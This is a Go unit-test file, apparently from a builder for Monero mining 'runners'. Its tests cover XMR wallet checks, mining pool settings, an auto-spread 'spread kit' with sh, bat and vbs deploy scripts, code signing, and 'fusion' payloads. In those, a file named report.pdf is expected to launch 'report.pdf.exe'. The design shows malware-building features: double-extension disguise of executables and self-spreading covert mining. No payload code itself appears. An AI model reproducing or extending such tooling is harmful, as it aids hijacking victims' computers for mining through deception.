Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
197 lines
5.3 KiB
Go
197 lines
5.3 KiB
Go
package builder
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func TestLooksLikeXMRWalletValid(t *testing.T) {
|
|
addr := "4" + strings.Repeat("A", 94)
|
|
if !looksLikeXMRWallet(addr) {
|
|
t.Fatal("expected valid wallet")
|
|
}
|
|
}
|
|
|
|
func TestLooksLikeXMRWalletTooShort(t *testing.T) {
|
|
if looksLikeXMRWallet("4abc") {
|
|
t.Fatal("too short should fail")
|
|
}
|
|
}
|
|
|
|
func TestLooksLikeXMRWalletWrongPrefix(t *testing.T) {
|
|
addr := "8" + strings.Repeat("A", 94)
|
|
if looksLikeXMRWallet(addr) {
|
|
t.Fatal("wrong prefix should fail")
|
|
}
|
|
}
|
|
|
|
func TestLooksLikeXMRWalletInvalidChar(t *testing.T) {
|
|
addr := "4" + strings.Repeat("A", 93) + "@"
|
|
if looksLikeXMRWallet(addr) {
|
|
t.Fatal("invalid char should fail")
|
|
}
|
|
}
|
|
|
|
func TestFormatGoStringSlice(t *testing.T) {
|
|
if formatGoStringSlice(nil) != "nil" {
|
|
t.Fatal("nil slice")
|
|
}
|
|
if formatGoStringSlice([]string{"", " "}) != "nil" {
|
|
t.Fatal("empty strings trimmed away")
|
|
}
|
|
got := formatGoStringSlice([]string{"http://a", "http://b"})
|
|
if !strings.Contains(got, "http://a") || !strings.Contains(got, "http://b") {
|
|
t.Fatalf("got %q", got)
|
|
}
|
|
}
|
|
|
|
func TestFormatGoBackupPools(t *testing.T) {
|
|
if formatGoBackupPools(nil) != "nil" {
|
|
t.Fatal("nil pools")
|
|
}
|
|
got := formatGoBackupPools([]BackupPool{{Host: "pool.example.com", Port: 4444, TLS: true}})
|
|
if !strings.Contains(got, "pool.example.com") {
|
|
t.Fatalf("got %q", got)
|
|
}
|
|
emptyPass := formatGoBackupPools([]BackupPool{{Host: "x", Port: 1}})
|
|
if !strings.Contains(emptyPass, `"x"`) {
|
|
t.Fatalf("default pass: %q", emptyPass)
|
|
}
|
|
}
|
|
|
|
func TestFormatBytes(t *testing.T) {
|
|
if formatBytes(512) != "512 B" {
|
|
t.Fatalf("bytes: %q", formatBytes(512))
|
|
}
|
|
if formatBytes(2048) != "2.00 KB" {
|
|
t.Fatalf("KB: %q", formatBytes(2048))
|
|
}
|
|
if formatBytes(1024*1024) != "1.00 MB" {
|
|
t.Fatalf("MB: %q", formatBytes(1024*1024))
|
|
}
|
|
}
|
|
|
|
func TestIsFusionPayloadExt(t *testing.T) {
|
|
if !isFusionPayloadExt("clip.mkv") {
|
|
t.Fatal("mkv should be accepted")
|
|
}
|
|
if isFusionPayloadExt("noext") {
|
|
t.Fatal("no extension should fail")
|
|
}
|
|
if isFusionPayloadExt(".") {
|
|
t.Fatal("dot-only should fail")
|
|
}
|
|
}
|
|
|
|
func TestFileSizeNil(t *testing.T) {
|
|
if fileSize(nil) != 0 {
|
|
t.Fatal("nil FileInfo should be 0")
|
|
}
|
|
}
|
|
|
|
func TestRunnerNameForPlatform(t *testing.T) {
|
|
if runnerNameForPlatform(BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}) != "runner.exe" {
|
|
t.Fatal("windows runner name")
|
|
}
|
|
if runnerNameForPlatform(BuildPlatform{GOOS: "linux", GOARCH: "amd64"}) != "runner" {
|
|
t.Fatal("linux runner name")
|
|
}
|
|
}
|
|
|
|
func TestTruncateWallet(t *testing.T) {
|
|
if truncateWallet("short") != "short" {
|
|
t.Fatal("short wallet unchanged")
|
|
}
|
|
long := strings.Repeat("4", 95)
|
|
if len(truncateWallet(long)) != 16 {
|
|
t.Fatalf("truncated to 16 chars, got %d", len(truncateWallet(long)))
|
|
}
|
|
}
|
|
|
|
func TestSpreadKitDeployScriptsNonEmpty(t *testing.T) {
|
|
for name, fn := range map[string]func() string{
|
|
"sh": spreadKitDeploySh,
|
|
"bat": spreadKitDeployBat,
|
|
"vbs": spreadKitDeployVbs,
|
|
"cmd": spreadKitStartCommand,
|
|
} {
|
|
if s := fn(); len(s) < 20 {
|
|
t.Fatalf("%s script too short", name)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestFormatSpreadKitReadme(t *testing.T) {
|
|
req := &BuildRequest{WorkerName: "pc-1", ServerURL: "http://127.0.0.1:8989"}
|
|
s := formatSpreadKitReadme(req)
|
|
if !strings.Contains(s, "pc-1") || !strings.Contains(s, "127.0.0.1") {
|
|
t.Fatalf("readme: %q", s)
|
|
}
|
|
}
|
|
|
|
func TestFormatSpreadKitOperator(t *testing.T) {
|
|
req := &BuildRequest{
|
|
WorkerName: "pc-1", ServerURL: "http://x", PoolHost: "pool", PoolPort: 3333,
|
|
Wallet: strings.Repeat("4", 95), AutoSpread: true,
|
|
}
|
|
s := formatSpreadKitOperator(req, "build-id")
|
|
if !strings.Contains(s, "build-id") || !strings.Contains(s, "pool:3333") {
|
|
t.Fatalf("operator: %q", s)
|
|
}
|
|
}
|
|
|
|
func TestFusionUniversalStartScripts(t *testing.T) {
|
|
sh := fusionUniversalStartSh("movie.mp4")
|
|
if !strings.Contains(sh, "movie-runner") {
|
|
t.Fatalf("start.sh: %q", sh)
|
|
}
|
|
bat := fusionUniversalStartBat("report.pdf")
|
|
if !strings.Contains(bat, "report.pdf.exe") {
|
|
t.Fatalf("start.bat: %q", bat)
|
|
}
|
|
if cmd := fusionUniversalStartCommand(); !strings.Contains(cmd, "start.sh") {
|
|
t.Fatalf("start.command: %q", cmd)
|
|
}
|
|
}
|
|
|
|
func TestShouldSignBuildDisabled(t *testing.T) {
|
|
h := &Handler{policy: BuildPolicy{Sign: SignPolicy{Enabled: false}}}
|
|
if h.shouldSignBuild(&BuildRequest{SignBuild: true}) {
|
|
t.Fatal("signing disabled in policy")
|
|
}
|
|
}
|
|
|
|
func TestShouldSignBuildNoRequestFlag(t *testing.T) {
|
|
h := &Handler{policy: BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "abc"}}}
|
|
if h.shouldSignBuild(&BuildRequest{SignBuild: false}) {
|
|
t.Fatal("SignBuild flag required")
|
|
}
|
|
}
|
|
|
|
func TestBuildExtraFilesFromArtifacts(t *testing.T) {
|
|
if got := buildExtraFilesFromArtifacts(nil); got != nil {
|
|
t.Fatalf("nil input should return nil, got %+v", got)
|
|
}
|
|
if got := buildExtraFilesFromArtifacts([]BuildArtifactFile{}); got != nil {
|
|
t.Fatalf("empty slice should return nil, got %+v", got)
|
|
}
|
|
arts := []BuildArtifactFile{
|
|
{FileName: "readme.txt", FilePath: "/tmp/readme.txt"},
|
|
{FileName: "runner.exe", FilePath: "/tmp/runner.exe"},
|
|
}
|
|
got := buildExtraFilesFromArtifacts(arts)
|
|
if len(got) != 2 {
|
|
t.Fatalf("expected 2 extras, got %d", len(got))
|
|
}
|
|
if got[0].FileName != "readme.txt" || got[0].FilePath != "/tmp/readme.txt" {
|
|
t.Fatalf("first artifact: %+v", got[0])
|
|
}
|
|
}
|
|
|
|
func TestFusionUniversalStartShBareExtension(t *testing.T) {
|
|
sh := fusionUniversalStartSh(".pdf")
|
|
if !strings.Contains(sh, "-runner") {
|
|
t.Fatalf("expected runner suffix in script: %q", sh)
|
|
}
|
|
}
|